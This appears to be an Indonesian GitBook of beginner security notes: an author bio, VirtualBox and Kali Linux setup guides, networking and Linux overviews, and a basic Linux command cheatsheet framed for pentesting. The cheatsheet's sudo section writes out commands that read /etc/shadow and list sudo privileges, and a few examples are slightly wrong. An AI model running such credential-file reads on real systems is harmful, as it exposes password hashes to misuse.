# Tentang Penulis

## Halo

Saya **`Anggi Rifa Pradana`**, pembelajar di bidang *Cyber Security*.  Saat ini, saya bekerja di bidang yang sama dengan minat saya. Di area *Blue Team*, saya memiliki pengalaman me-manage *Wazuh*, *Ticketing System*, MISP, *Observable Engine* dan tools/aplikasi Opensource SOC lainnya.  Di area *Offensive Security*, saya mengikuti program *bug bounty* di platform [***Bugcrowd***](https://bugcrowd.com/h/anggipradana) ***,*** [***Redstorm*** ](https://www.redstorm.io/views/65bde6d7b40c0f3d)serta program *bug bounty* independen lainnya (Aktivitas *bug bounty* 2024-2025 hiatus sejenak karena padatnya jadwal :smile:).&#x20;

## License/Certification

### Offensive Security Licenses

1. [Licensed Penetration Tester (Master)](https://aspen.eccouncil.org/VerifyBadge?type=certification\&a=eb9NuAMPQJBkMZFc/Efp5WiMKtbbYefTnMFOkMHjCaA=) - LPT (Master)
2. [Certified Penetration Tester](https://aspen.eccouncil.org/VerifyBadge?type=certification\&a=eb9NuAMPQJBkMZFc/Efp5QoU4PdB/mbu0I7LN0FNnj8=) - CPENT
3. [Certified Red Team Operator](https://api.eu.badgr.io/public/assertions/VIBmB8IDTz6mKoynR0ZDrg) - CRTO
4. [Practical Network Penetration Tester](https://www.credential.net/7d05e6f4-1a6c-4c91-b16f-3e0dd5a0eb75) - PNPT
5. [Burp Suite Certified Practitioner](https://portswigger.net/web-security/e/c/40c1599f56db13c5) - BSCP
6. [Certified Ethical Hacker](https://aspen.eccouncil.org/VerifyBadge?type=certification\&a=lZj50wyj53u0T8BJbeneZrpznCzWrGD5CCTReXfYFh8=) - CEH
7. [Certified Ethical Hacking Essentials](https://aspen.eccouncil.org/VerifyBadge?type=certification\&a=Bp7dku926GAgGItmaaCVRmaB6zs0Q5HGkAkMy9iJreE=) - EHE

### Blue Team Licenses

1. [CompTIA SecurityX (Formerly CompTIA Advanced Security Practitioner) ](https://www.credly.com/badges/d95fe959-e9f0-4445-bfa2-4b70c27fa6b2)- SecurityX / CASP+
2. [Wazuh Security Engineer Official Training Certificate](https://wazuh.com/trainingcertificates/1cd75c13cf41272bade8d45dd05cb476.pdf) - Wazuh Security Engineer
3. [Google Cloud SecOps Technical Credential](https://skillshop.exceedlms.com/profiles/a2cca89f4b284cafa85540af4d4af962) - Google Partner Skill Credential
4. Certified EC-Council Instructor - CEI
5. [CyberOps ](https://www.credly.com/badges/39cb9a53-1a22-488c-b122-292b91dabe56)Associate Cisco<br>

## Accomplishments&#x20;

### Offensive Security Field

1. [Bugcrowd P1 Warrior Level 3 Q2 2020 ](https://www.bugcrowd.com/blog/congratulations-to-our-p1-warriors-in-q2/)
2. [Tokopedia Top 15 Wall Of Fame](https://bounty.tokopedia.net/wall-of-fame) (Q2 2021)
3. [Redstorm Top 10 Leaderboard](https://www.redstorm.io/researcher/leaderboard) (Q2 2021)
4. [XL Axiata VDP Top 3 Leaderboard](https://www.redstorm.io/researcher/programs/xl) (Q3 2021)
5. Best Instructor Hacking Course Batch (4x) ([Sekolah Digital Cilsy](https://sekolahdigitalcilsy.com/))
6. Mastercard Bug Bounty Program Rewardee and [Hall of Fame](https://bugcrowd.com/mastercard/hall-of-fame) (2021)
7. Microsoft Security [Hall Of Fame](https://portal.msrc.microsoft.com/en-us/security-guidance/researcher-acknowledgments-online-services) (2021)
8. [Bugcrowd P1 Warrior Level 4 Q4 2021 ](https://bugcrowd.com/anggipradana)
9. [2nd Place Asean Cyber Shield Hacking Contest 2025](https://www.facebook.com/share/p/1Ki81Lsd93/)

### Blue Team Security Field

1. [First Blue Team Leaderboard based Critical Investigation at SPIEF Standoff International Cyber Battle ](https://archive.ph/TBtb2) (2024)
2. [EC-Council Academia Instructor (CEI) Circle of Excellence Award](https://www.eccouncil.org/ec-council-in-news/2024-leading-global-cybersecurity-programs-and-instructors-announced-by-ec-council/) (APAC Region) (2024)<br>

## Project&#x20;

### Blue Team Security Field

1. Implement and Improving Threat Intelligence Platform, Ticketing and SOAR System&#x20;
2. HIDS Development with Custom RnD Configuration&#x20;
3. Mobile Device Management (MDM) for Android Phones&#x20;
4. Blue Team Labs for Cybersecurity Bootcamp&#x20;
5. Learning Management System for Cyber Security Bootcamp
6. Combining Opensource OSINT Tools for daily credential leaks monitoring

### Offensive Security Field

1. Actively conducting penetration testing across various domains including banking, financial systems, blockchain and cryptocurrency environments, Active Directory, web applications, mobile platforms, and infrastructure to identify vulnerabilities and enhance security measures.
2. Implement Opensource DAST (Dynamic Application Security Testing) Scan for daily web security assessment.
3. CTF Platform for Cybersecurity Bootcamp&#x20;

## My Favorite Quotes

> **"Jadilah tajam tapi tidak menyakiti"**\
> **"Jadilah cepat tapi tidak mendahului"**\
> **"Jadilah cerdas tapi tidak menggurui"**\
> \
> **NN**

## Kontak                                                                                                                                                                                                                                                                             &#x20;

Anda dapat menghubungi saya melalui:

* LinkedIn\
  <https://www.linkedin.com/in/anggipradana7/>
* Instagram\
  <http://instagram.com/anggipradana7>
* Email

  <anggipradana@proton.me>

<br>

&#x20;


# Preambule

Selamat datang di Gitbook Repository [**`Anggi's Notes`**](https://anggipradana.gitbook.io/anggi-s-notes/) !

Repository ini saya buat untuk berbagi pengetahuan mengenai temuan kerentanan saya di program *bug bounty*, tutorial di bidang keamanan siber serta catatan pembelajaran pribadi saya lainnya.

## Disclaimer

Tujuan pembuatan repository ini adalah untuk mendokumentasikan temuan saya serta sebagai media pembelajaran mengenai keamanan siber (dan khususnya aplikasi web) yang mudah-mudahan dapat menjadi referensi pembelajaran bagi para pembaca.

{% hint style="warning" %}
**For Educational Purpose Only!**

Saya tidak bertanggung jawab atas segala tindakan ilegal yang mungkin dipelajari dari repository ini.
{% endhint %}

{% hint style="danger" %}
These are just notes that I sometimes take from many sources, don't expect originality or personal rights. I respect the original author by asking permission directly and citing the primary source
{% endhint %}


# Tutorial Setup VirtualBox

Pada sesi ini akan dijelaskan langkah-langkah installasi VirtualBox untuk keperluan pembuatan virtualisasi OS/ environtment. Environtment host pada

### 1. Pengunduhan VirtualBox

Lakukan pengunduhan pada link berikut ini:

{% hint style="success" %}
<https://www.virtualbox.org/>
{% endhint %}

Klik pada gambar Download

![](/files/53eqsfLogqjrHL0ULspT)

Pilih Windows Host pada pilihan download

![](/files/8i1evDBMHY3spYIxtWXl)

### 2. Penginstallan VirtualBox

Klik 2x pada ikon installer VirtualBox

![](/files/va71dQW2lf1Ud9a1SZ1S)

Klik Next hingga proses installasi selesai

![](/files/TByhPCoRq4uSKQ6Nqseg)

Buka Virtual Box melalui Windows Start menu atau Programs atau juga dapat melalui Desktop Icon

![](/files/s3QNOLLQvPfqreV4ytza)

Jendela VirtualBox akan muncul seperti berikut

![](/files/CwzfV2OPnr8VUEz4IRKj)


# Tutorial Setup Kali Linux pada VirtualBox

Pada tutorial ini kan ditunjukkan setup Kali Linux versi OVA yang langsung dapat digunakan pada Virtual Box.

![](/files/yeeUwCnzJVeoTsFsXA0G)

Berikut merupakan langkah melakukan installasi Kali Linux VirtualBox VM version:

### 1. Download Kali Linux versi VM VirtualBox

Anda dapat mengunduh Kali Linux versi VM VirtualBox pada link berikut

{% hint style="success" %}
<https://www.mediafire.com/file/uosmzbif6gqiak1/kali-linux-2023.4-virtualbox-amd64.7z/file>
{% endhint %}

atau melalui kanal <https://www.kali.org/get-kali> lalu ikuti gambar berikut ini:

![](/files/aeq7flkTGhnr3PyDaLTe)

![](/files/fsL2RU1rtQdxZQlXI7PL)

### 2. Menjalankan Kali Linux VM VirtualBox

Klik 2x pada ikon VirtualBox yang telah didownload

![](/files/ybHf0zrzeXCu7gWIfrdD)

Jendela Virtualbox akan muncul, kemudian pilih Import

![](/files/UCbwfJxJK6f7GpdpP9NL)

Pada panel selanjutnya pilih Agree

![](/files/cVW4FWTe4sJjwh8k204C)

Tunggu hingga proses selesai kemudian login dengan kredensial berikut

{% hint style="success" %}
Username : kali

Password : kali
{% endhint %}

![](/files/SrEhBpnQU0C8HgFlyN9v)


# Network Adapter Type pada Virtual Box

Source: www\.nakivo.com and www\.thomas-krenn.com

## Network Types <a href="#network-types" id="network-types"></a>

VBox provides us 6 options to fullfill kinds of requirements.

### Not attached <a href="#option-1-not-attached" id="option-1-not-attached"></a>

With ‘Not attached’, the client machine runs as a standalone computer that has a network adapter without network cable plugging in.

### Network Address Translation(NAT) <a href="#option-2-network-address-translationnat" id="option-2-network-address-translationnat"></a>

‘NAT’ is a default option when VBox is installed. VBox provides a NAT router and DHCP service for every client os.

<figure><img src="https://totozhang.github.io/2015-12-24-network-topology-in-virtualbox/2.png" alt=""><figcaption></figcaption></figure>

If the host os can access the Internetso does the client os. From the physical network point of view, all of the packets which actually come from the different client os, are all from the Vbox process. At the same time, it’s also show us that the NAT network can be recursive. Now, if any user from the physical network need to access any of the client os in VBox, port forwarding setting should be considered.

### NAT Network <a href="#option-3-nat-network" id="option-3-nat-network"></a>

In this mode, all of the clients on VBox share the same NAT router. It’s just like the wifi router used at home. And we must create a NAT network manually before using it. (Virtual Box > Preferences > Network > Create)

<figure><img src="https://totozhang.github.io/2015-12-24-network-topology-in-virtualbox/3.png" alt=""><figcaption></figcaption></figure>

The key difference between NAT Network and NAT option is that, in the NAT Network, clients share the same router and gateway.

### Bridged Networking <a href="#option-4-bridged-networking" id="option-4-bridged-networking"></a>

In this mode, client and host machine are bridged in the same ethernet segment. In other words, the clients are connected to the physical network directly. If there’s a DHCP server, the clients get IP addresses automatically. Theoretically, in the bridged mode, either the clients or the VBox itself can provide the DHCP service for the network, and it highly possible result unpredictable conflicts. It’s not recommended to do this.

<figure><img src="https://totozhang.github.io/2015-12-24-network-topology-in-virtualbox/4.png" alt=""><figcaption></figcaption></figure>

### Internal Networking <a href="#option-5-internal-networking" id="option-5-internal-networking"></a>

In the process of developing a network application, it’s inevitable to capture the network data packets for debuging or test. Most of the time, engineers prefer the bridged mode. Sometimes it’s more useful to choose the internal network mode. For instance, if the packets will impact the physical network, we should prevent this kind of situation in product environment, or, if we need excluding the unnecessory interference packets, to simplify the analysing process. Sometimes maybe we also need an extra internal network like the topology for the nodes to communication with each other with heatbeat packets.

<figure><img src="https://totozhang.github.io/2015-12-24-network-topology-in-virtualbox/5.png" alt=""><figcaption></figcaption></figure>

### Host-only Networking <a href="#option-6-host-only-networking" id="option-6-host-only-networking"></a>

In this mode, it’s just like the internal mode, the only difference is that the host machine is added into the internal network. In this mode, it’s optional whether the VBox provides the DHCP service or not.

<figure><img src="https://totozhang.github.io/2015-12-24-network-topology-in-virtualbox/6.png" alt=""><figcaption></figcaption></figure>

### **Comparison of VirtualBox Network Modes** <a href="#option-6-host-only-networking" id="option-6-host-only-networking"></a>

For more convenience, let’s summarize all information about network modes supported by VirtualBox in this table:

<figure><img src="/files/RAugOW4x47g9oTjykdgV" alt=""><figcaption></figcaption></figure>


# Tutorial Port Forwarding Pada Virtual Box

Sumber: https\://travishorn.com

By default, virtual machines running inside VirtualBox use a virtual network adapter attached to NAT. This means that the machine is not accessible on your host network, but rather a virtual network inside of the host computer. Any time you need to connect to your virtual machine remotely (whether by SSH, HTTP, or another protocol), you'll need to make sure the appropriate port is forwarded from your host machine. Here's how to do that.

Open **Oracle VM VirtualBox Manager** on the host machine.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1689175385943/ac9425df-420a-4872-af4d-1fa11ac19f0c.png?auto=compress,format\&format=webp)

Click to select the virtual machine from the list on the left.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1689175419221/b97f7655-e4a6-4216-8a09-aa0d01e3bf68.png?auto=compress,format\&format=webp)

Click the **Settings** button.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1689175438134/3a394e14-f810-459e-b5a0-1937fe32190a.png?auto=compress,format\&format=webp)

Click **Network** from the pane on the left.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1689175469964/cd00b10b-fe85-4301-b942-883b383809c5.png?auto=compress,format\&format=webp)

Under the **Adapter 1** tab, click **Advanced**.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1689175499533/6a74320b-5449-4be4-bbc7-f5f2abd4e582.png?auto=compress,format\&format=webp)

Click **Port Forwarding**.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1689175524438/072969a7-c4da-4be0-b64f-9aaaf75af639.png?auto=compress,format\&format=webp)

Click the **Adds new port forwarding rule.** button. It's on the right side.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1689175551536/d72cc229-0c58-4f20-b217-03f9e233e2dd.png?auto=compress,format\&format=webp)

In the table on the left, double-click **Rule 1**. This will allow you to edit the name of the rule. Type in the name of the service. For example, **SSH**.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1689175576667/10e76a0a-cc76-4e06-9d8e-b5c1a8db466d.png?auto=compress,format\&format=webp)

Under **Host Port**, enter the port number you want the host machine to listen on. This can be anything, but for simplicity, I recommend using the same as the guest port. For SSH, use port **22**.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1689175603725/b2a05df8-2153-4240-aa18-84dcbd1cf3f1.png?auto=compress,format\&format=webp)

> If you have multiple virtual machines which you will be SSHing into, or you already have an SSH server running on the host machine itself, you may want to enter a different **Host Port**. In that case, choose any number you like between 1024 and 49152. Just make sure it is not in use by any other service.

Under **Guest Port**, enter the port number that your virtual machine is listening on. For SSH, use port **22**.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1689175666336/a502d0f9-9da0-4ff0-be77-f84ab221b5f6.png?auto=compress,format\&format=webp)

Leave everything else blank.

Click **OK**.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1689175695100/ca6ceb4c-791e-449f-9ec0-91da184b30ce.png?auto=compress,format\&format=webp)

Click **OK** again.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1689175716071/83cd6d02-37f7-4f49-a247-c715eac7194e.png?auto=compress,format\&format=webp)

### Using the Forwarded Port <a href="#heading-using-the-forwarded-port" id="heading-using-the-forwarded-port"></a>

Now, if you want to SSH into the virtual machine from the host machine, you can use something like this:

```bash
ssh username@localhost
```

Make sure to change `username` to the actual username that is set up on your virtual machine.

If you want to connect to the virtual machine from some other machine than the host, try something like this:

```bash
ssh username@host_ip_address
```

Change `username` to the actual username and change `host_ip_address` to the host's actual IP address. On Windows, you can determine this from the `ipconfig` command.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1689176151212/1a7f1411-beee-449c-99f5-f8f12d75eeba.png?auto=compress,format\&format=webp)

### Other Ports to Forward <a href="#heading-other-ports-to-forward" id="heading-other-ports-to-forward"></a>

Some common ports you may consider forwarding are...

* Port 21 for FTP
* Port 22 for SSH
* Port 80 for HTTP traffic
* Port 443 for HTTPS traffic
* Port 3000 which is a common development port for things like Node.js
* Port 3306 for MySQL/MariaDB access

### An Alternate Solution: Setting up a Bridged Adapter <a href="#heading-an-alternate-solution-setting-up-a-bridged-adapter" id="heading-an-alternate-solution-setting-up-a-bridged-adapter"></a>

If you want to access the virtual machine but don't want to forward any ports, you could attach the virtual network adapter to a bridged adapter. This places the virtual machine directly on the network with your other devices. It will receive its own IP address via DHCP.

Open **Oracle VM VirtualBox Manager** on the host machine.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1689175385943/ac9425df-420a-4872-af4d-1fa11ac19f0c.png)

Click to select the virtual machine from the list on the left.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1689175419221/b97f7655-e4a6-4216-8a09-aa0d01e3bf68.png)

Click the **Settings** button.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1689175438134/3a394e14-f810-459e-b5a0-1937fe32190a.png)

Click **Network** from the pane on the left.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1689175469964/cd00b10b-fe85-4301-b942-883b383809c5.png)

Select **Bridged Adapter** from the **Attached to** dropdown menu.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1689176508964/f980fab2-ac72-4027-99b4-01119b2657ad.png?auto=compress,format\&format=webp)

Click **OK**.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1689175716071/83cd6d02-37f7-4f49-a247-c715eac7194e.png)

#### Using a Bridged Adapter <a href="#heading-using-a-bridged-adapter" id="heading-using-a-bridged-adapter"></a>

First, you need to determine what IP address the virtual machine received via DHCP. This can most easily be done on the virtual machine.

On Linux, you can use `ip addr show`.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1689177064936/2e27d153-db84-4a58-a358-7fb5440d489a.png?auto=compress,format\&format=webp)

Now you can connect (via SSH, for example) to the machine using the virtual machine's IP address you just discovered.

```bash
ssh username@vm_ip_address
```

By unraveling the mysteries of port forwarding in VirtualBox, we have taken a significant stride toward optimizing our virtualization endeavors. We now understand how to seamlessly connect our virtual machines to the outside world. Through the step-by-step configuration process, we have simplified the process of port forwarding, making it accessible to users of all levels. We also explored some common ports, discovering which services can benefit from port forwarding, and even ventured into the realm of bridged adapters as an alternative solution.


# Mempercepat update/upgrade/install Kali Linux

Sebuah cara mempercepat download/update/upgrade Kali Linux melalui pengubahan repository/apt sourcelist

Copy dulu sourlist awal buat backup

```bash
sudo cp /etc/apt/sources.list /etc/apt/sources.list-backup
```

Ubah pake nano atau vim juga boleh lah (ga usah pamer jago vim wkwkw)

```bash
sudo nano /etc/apt/sources.list
```

Kasih tag buat standard source list, dan tambahin ini

```
deb https://mirrors.ocf.berkeley.edu/kali/ kali-rolling main non-free contrib
```

<figure><img src="/files/s55Ci8L1PrDUmGCCNY5t" alt=""><figcaption><p>Contoh pengubahan</p></figcaption></figure>

Coba update dan/atau upgrade

```bash
sudo apt update
```


# Networking in a Nutshell

<figure><img src="/files/N20wgiBcKEUyTxcnNQWn" alt=""><figcaption><p>Networking Models by SecurityZines.com</p></figcaption></figure>

**Model OSI (Open Systems Interconnection):**

**Sejarah:** Model OSI dikembangkan oleh International Organization for Standardization (ISO) pada tahun 1984 sebagai upaya untuk merancang sebuah kerangka kerja standar yang dapat digunakan sebagai panduan untuk mengembangkan protokol komunikasi jaringan. Model OSI dirancang untuk menjadi model konseptual yang memungkinkan berbagai vendor perangkat keras dan perangkat lunak untuk berkomunikasi dengan mudah. Namun, meskipun menjadi panduan penting dalam perkembangan jaringan komputer, model OSI tidak sepenuhnya diadopsi secara luas oleh industri.

**Pengertian:** Model OSI adalah model konseptual yang menggambarkan cara berbagai fungsi komunikasi dalam jaringan komputer harus terorganisasi. Model ini terdiri dari tujuh lapisan yang masing-masing memiliki tugas dan tanggung jawabnya sendiri. Ini memungkinkan pemisahan fungsi komunikasi ke dalam lapisan-lapisan yang lebih kecil. Berikut adalah penjelasan singkat tentang setiap lapisan dalam model OSI:

#### Model Jaringan OSI:

```asciidoc
    +----------------------------------+
    | Aplikasi                        | Layer 7
    +----------------------------------+
    | Presentasi                      | Layer 6
    +----------------------------------+
    | Sesion                          | Layer 5
    +----------------------------------+
    | Transport                       | Layer 4
    +----------------------------------+
    | Jaringan                        | Layer 3
    +----------------------------------+
    | Data Link                       | Layer 2
    +----------------------------------+
    | Fisik                           | Layer 1
    +----------------------------------+

```

1. Layer 1 (Fisik): Ini adalah lapisan perangkat keras fisik, seperti kabel dan perangkat keras jaringan.
2. Layer 2 (Data Link): Ini mengatur akses ke media fisik dan mengelola aliran data dalam bentuk frame.
3. Layer 3 (Jaringan): Lapisan ini mengelola rute data melalui jaringan menggunakan alamat IP.
4. Layer 4 (Transport): Ini mengatur koneksi end-to-end, memecah data menjadi segmen, dan mengatur aliran data.
5. Layer 5 (Sesi): Ini mengelola sesi atau koneksi antara aplikasi di dua perangkat.
6. Layer 6 (Presentasi): Ini menangani konversi dan enkripsi data untuk kompatibilitas antara perangkat.
7. Layer 7 (Aplikasi): Ini adalah lapisan aplikasi yang berinteraksi langsung dengan pengguna, seperti browser atau email.

**Model TCP/IP (Transmission Control Protocol/Internet Protocol):**

**Sejarah:** Model TCP/IP awalnya dikembangkan oleh Departemen Pertahanan Amerika Serikat (DoD) pada tahun 1960-an. Tujuan utama adalah untuk menciptakan jaringan yang tahan terhadap gangguan dan dapat bertahan di bawah situasi perang (ARPANET). Selama beberapa dekade, model ini berkembang menjadi model yang digunakan di seluruh dunia untuk menghubungkan berbagai jenis jaringan. TCP/IP telah menjadi dasar dari internet seperti yang kita kenal hari ini.

**Pengertian:** Model TCP/IP adalah model jaringan yang terdiri dari empat lapisan yang digunakan dalam arsitektur jaringan yang menghubungkan perangkat di seluruh dunia. Berikut adalah penjelasan singkat tentang setiap lapisan dalam model TCP/IP:

#### Model Jaringan TCP/IP:

```asciidoc
     +------------------------+
    | Aplikasi              | (Application)
    +------------------------+
    | Transport             | (Transport)
    +------------------------+
    | Internet              | (Internet)
    +------------------------+
    | Jaringan Fisik        | (Link)
    +------------------------+
```

1. Layer Aplikasi (Application): Lapisan ini berkaitan dengan aplikasi dan layanan yang digunakan oleh pengguna, seperti HTTP (web), FTP (file transfer), dll.
2. Layer Transport (Transport): Ini mengelola koneksi end-to-end dan memastikan pengiriman data yang handal, misalnya, dengan TCP (Transmission Control Protocol) atau UDP (User Datagram Protocol).
3. Layer Internet (Internet): Lapisan ini mengelola pengiriman data melalui jaringan dan termasuk protokol seperti IP (Internet Protocol).
4. Layer Jaringan Fisik (Link): Ini berkaitan dengan perangkat keras fisik seperti Ethernet, Wi-Fi, dan mengelola akses ke media fisik.

Model OSI dan TCP/IP memiliki beberapa kesamaan dalam fungsi lapisan, tetapi model TCP/IP lebih sederhana dengan hanya empat lapisan. Model-model ini digunakan untuk memahami dan merancang jaringan komputer serta mengelola komunikasi data.


# Linux in A Nutshell

**Linux: Sejarah, Cara Kerja, Jenis, dan Masa Depan**

**Sejarah Linux:**

* Linux adalah sistem operasi sumber terbuka yang dikembangkan oleh Linus Torvalds pada tahun 1991. Linus adalah seorang mahasiswa asal Finlandia yang memulai proyek ini dengan tujuan menciptakan sistem operasi mirip UNIX yang dapat digunakan di komputer pribadi.
* Linux dikembangkan di atas kernel Linux, yang merupakan inti dari sistem operasi. Kernel Linux juga bersifat sumber terbuka, yang berarti kode sumbernya dapat diakses, dimodifikasi, dan didistribusikan oleh siapa pun sesuai dengan lisensi GPL (General Public License).
* Linux diberi nama "Linux" dari gabungan nama "Linus" dan "UNIX."

**Cara Kerja Linux:**

* Linux bekerja sebagai perangkat lunak perantara antara perangkat keras (hardware) komputer dan pengguna atau aplikasi.
* Perangkat keras, seperti CPU, memori, dan perangkat input/output (I/O), dikelola oleh kernel Linux. Kernel mengatur dan menyediakan akses ke sumber daya ini kepada aplikasi.
* Pengguna berinteraksi dengan Linux melalui antarmuka pengguna, seperti shell (antarmuka teks) atau lingkungan desktop (GUI). Pengguna memasukkan perintah atau menjalankan aplikasi melalui antarmuka ini.
* Aplikasi berjalan di atas kernel Linux dan menggunakan layanan yang disediakan oleh kernel untuk menjalankan tugas mereka.

Berikut adalah gambaran tentang bagaimana komunikasi terjadi antara masing-masing tahapan dalam sistem Linux:

```asciidoc
-------------------------
| Aplikasi / GUI       |
|                     |
|  |               |  |
|  v               |  |
| Shell            |  |
|  |               |  |
|  v               |  |
| Kernel           |  |
|  |               |  |
|  v               |  |
| Hardware         |
-------------------------
```

1. **Hardware**: Ini adalah lapisan paling bawah dari bawang. Hardware mencakup semua perangkat keras fisik seperti CPU, RAM, disk, mouse, keyboard, dan sebagainya. Linux berinteraksi dengan hardware ini melalui kernel.
2. **Kernel**: Kernel adalah inti dari sistem Linux. Ini adalah lapisan yang menghubungkan perangkat keras (hardware) dengan perangkat lunak (software). Kernel bertanggung jawab atas manajemen sumber daya, pengelolaan proses, manajemen memori, dan pengiriman perintah dari shell atau aplikasi ke perangkat keras.
3. **Shell**: Shell adalah antarmuka pengguna ke sistem operasi Linux. Ini adalah tempat di mana pengguna dapat berinteraksi dengan sistem, menjalankan perintah, dan mengelola file. Ada berbagai shell yang tersedia, seperti Bash, Zsh, dan lainnya. Shell menghubungkan pengguna ke kernel, memungkinkan mereka untuk berkomunikasi dengan sistem operasi.
4. **Aplikasi / GUI**: Di lapisan paling atas dari bawang, kita memiliki aplikasi dan GUI (Graphical User Interface). Aplikasi adalah program yang digunakan oleh pengguna untuk melakukan tugas tertentu, sedangkan GUI menyediakan antarmuka visual untuk berinteraksi dengan sistem. Aplikasi berjalan di atas kernel dan dapat diakses melalui shell atau GUI.

Dengan struktur ini, Linux mengatur aliran informasi dan perintah dari perangkat keras hingga aplikasi, dengan kernel berfungsi sebagai penghubung utama antara semua komponen. Shell memungkinkan pengguna untuk berinteraksi dengan sistem, sedangkan aplikasi atau GUI memungkinkan mereka untuk mengeksekusi tugas-tugas yang diperlukan.

Berikut adalah gambaran tentang bagaimana komunikasi terjadi antara masing-masing tahapan dalam sistem Linux:

```asciidoc
-------------------------
| Aplikasi / GUI      |
|    |                |
|    v                |
|    +--------------+ |
|    | Proses Aplikasi| |
|    +--------------+ |     +-----------+
|    | Proses Aplikasi| ----| GUI /      |
|    +--------------+ |     | Aplikasi 1 |
|    | Proses Aplikasi|     +-----------+
|    +--------------+ |     +-----------+
|    | Proses Aplikasi| ----| GUI /      |
|    +--------------+ |     | Aplikasi 2 |
|                     |     +-----------+
| Shell               |     +-----------+
|    |                | ----| Proses    |
|    v                |     | Shell 1   |
|    +--------------+ |     +-----------+
|    | Proses Shell  | |     +-----------+
|    +--------------+ | ----| Proses    |
|                     |     | Shell 2   |
| Kernel              |     +-----------+
|    |                |
|    v                |
|    +--------------+ |
|    | Proses Kernel | |
|    +--------------+ |
|    | Proses Kernel | |
|    +--------------+ |
|    | Proses Kernel | |
|    +--------------+ |
|    | Proses Kernel | |
|    +--------------+ |
| Hardware            |
-------------------------

```

**Jenis Linux:**

* Ada banyak distribusi Linux yang dibangun di atas kernel Linux. Beberapa distribusi populer termasuk Ubuntu, Debian, Fedora, CentOS, dan Arch Linux. Setiap distribusi memiliki perbedaan dalam manajemen paket perangkat lunak, dukungan, dan perangkat bawaan.
* Beberapa distribusi dirancang untuk pengguna umum, sementara yang lain lebih cocok untuk penggunaan server atau embedded systems. Misalnya, Ubuntu sering digunakan untuk desktop, sementara CentOS sering digunakan untuk server.

**Masa Depan Linux:**

* Linux terus berkembang dan berkembang pesat. Ini digunakan dalam berbagai lingkungan, termasuk desktop, server, perangkat mobile (seperti Android), embedded systems (seperti router dan perangkat IoT), dan banyak lagi.
* Masa depan Linux melibatkan peningkatan performa, keamanan, dan dukungan perangkat keras yang lebih baik. Ini juga melibatkan pengembangan teknologi seperti kontainerisasi dan virtualisasi.
* Linux juga memainkan peran penting dalam pengembangan teknologi seperti kecerdasan buatan (AI), otomatisasi, dan komputasi awan. Ini berarti Linux akan terus ada dan berkembang dalam berbagai bidang teknologi di masa depan.


# Linux Command Intro

Cheatsheet perintah-perintah dasar Linux

Catatan ini ditujukan untuk mempermudah pencarian perintah-perintah dasar Linux untuk keperluan Pentesting/VA.Cheatsheet ini disadur dari akun Github rekan saya[ Satrya Mahardhika](https://github.com/mahaardhiika/VAPT-Training/).

## whoami

Print active User ID

```bash
whoami
```

## pwd

Print Working directory

```bash
pwd
```

## mkdir

Make Directory

```bash
mkdir pentest/
```

## cd

Change directory

```bash
cd pentest // Change directory to pentest (Inside Working Directory)
cd /var // change directory to var (Outside Working Directory)
cd //Back to home Directory
cd .. // Directory Up
```

## ls

List files in working Directory

```bash
ls
ls -la // Print out all files including hidden files
```

## which

Locate executable file full path

```bash
which nmap // Locate the full path of nmap  
```

## man

Manual Page of a Command

```bash
man which // Manual page of which Command
man -K "change password" // Search for command to change password
```

## locate

Find / Search for files

```bash
locate -i passwd // Find for passwd files with case-Insensitive
```

## wget

Download a file

```bash
wget http://<IP>:<Port>/access_log.txt
```

## cat

Concatenate / print contents of a files

```bash
cat access_log.txt
```

## head

Cat only first 10 lines of a file

```bash
head access_log.txt
```

## tail

Cat only last 10 lines of a file

```bash
less access_log.txt
```

## cp

Copy file

```bash
cp access_log.txt access_log.txt.backup
```

## mv

Rename or cut a file

```bash
mv access_log.txt exercise.txt
```

## grep

Search for specific word in a file

```bash
grep admin exercise.txt
```

## wc

Count lines, words, bytes, of a files

```bash
wc exercise.txt
```

## sort

Sort files

```bash
sort -u exercise.txt // Sort unique lines on exercise.txt
```

## tab completion

Automatically fill the command/files names we write

```bash
cat ex<TAB> // will show exercise.txt
```

## history

Check history of command we input

```bash
history
```

## sudo

Super User do!

```bash
cat /etc/shadow // It will prompt Access Denied
ls -la /etc/shadow // Check permission of /etc/shadow file
whoami
sudo -l // Check our sudo privilege
sudo /etc/shadow
cat /etc/shadow
sudo !! // Sudo above command
```

## su

switch user

```bash
su kali // Switch to kali
sudo su // Switch to root
```

## Piping & Redirection

Piping ( | ) is a command that let you use two or more commands such that output of one command serves as input to the next command.

```bash
cat exercise.txt // Will show all lines of exercises.txt
cat exercise.txt | grep admin // will only show line contain admin
cat exercise.txt | grep admin | wc -c // Count bytes of above output
```

Redirection is change the output of command to a files

```bash
cat exercise.txt | grep admin > admin_exercise.txt
echo "This will overwrite" > admin_exercise.txt | Overwrite exercise.txt with "This will overwrite", or make exercise.txt file if it is not exists
echo "This will not overwrite" >> admin_exercise.txt | write "This will not overwrite" to the last line of exercise.txt
```

## cut

Cutting out some section of a file

```bash
cat user.txt | cut -d ":" -f 1 //Menampilkan hanya colomn 1
```

## awk

More powerful than Cut

```bash
cat user.txt | awk -F ":" '{print $1 $2}'
cut user.txt | awk -F ":" '{print "Terdapat user bernama " $1}'
```


# Linux Command Learning (Bandit - OverTheWire)

Source : axcheron.github.io

The [Bandit](http://overthewire.org/wargames/bandit/) wargame is an online game offered by the [OverTheWire](http://overthewire.org/) community. It helps you to learn various Linux commands and understand some basic features of this system.

This is a quick write-up of my solutions for this challenge. I advise you do it yourself before looking at the solutions as you won’t learn anything without trying. My goal here is simply to show you how I did it and compare your solutions with mine.

